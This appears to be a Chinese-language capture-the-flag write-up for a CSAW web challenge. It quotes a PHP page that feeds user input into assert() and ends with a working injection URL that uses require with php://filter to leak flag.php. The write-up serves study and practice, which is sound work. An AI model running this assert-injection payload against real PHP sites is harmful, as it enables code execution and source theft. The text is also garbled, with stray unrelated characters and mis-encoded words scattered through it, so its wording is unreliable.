題目描述
Hey, I made my first website today. It's pretty cool and web7.9.
http://web.chal.csaw.io:8000/
進去之后打開首頁图云,在某一頁找到
About
I wrote this website all by myself in under a week!
I used:
Git
PHP
Bootstrap
有git, 那就從.git入手,用工具下載到源碼
發(fā)現(xiàn)有flag.php聊疲,但是里面是空的,應該是這個文件被修改過
在.git/logs/head中查看提交記錄沪悲,只看到一次提交
大概git就到此為止了
于是看index.php获洲,代碼中關鍵的是下面這部分
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
開始一直沒有找到突破點,
后來想到assert其實就是變相的eval殿如,但是掛馬一直連不上贡珊,糾結了很久
然后想到其實不用,可以用require + php偽協(xié)議直接拿到源碼
遂構造url涉馁,獲得flag
http://web.chal.csaw.io:8000/?page=sa' ,'a') && (require('php://filter/convert.base64-encode/resource=./templates/flag.php')); //
這里還遇到了一個坑
之前用require_once一直拿不到代碼门岔,改成require后就可以了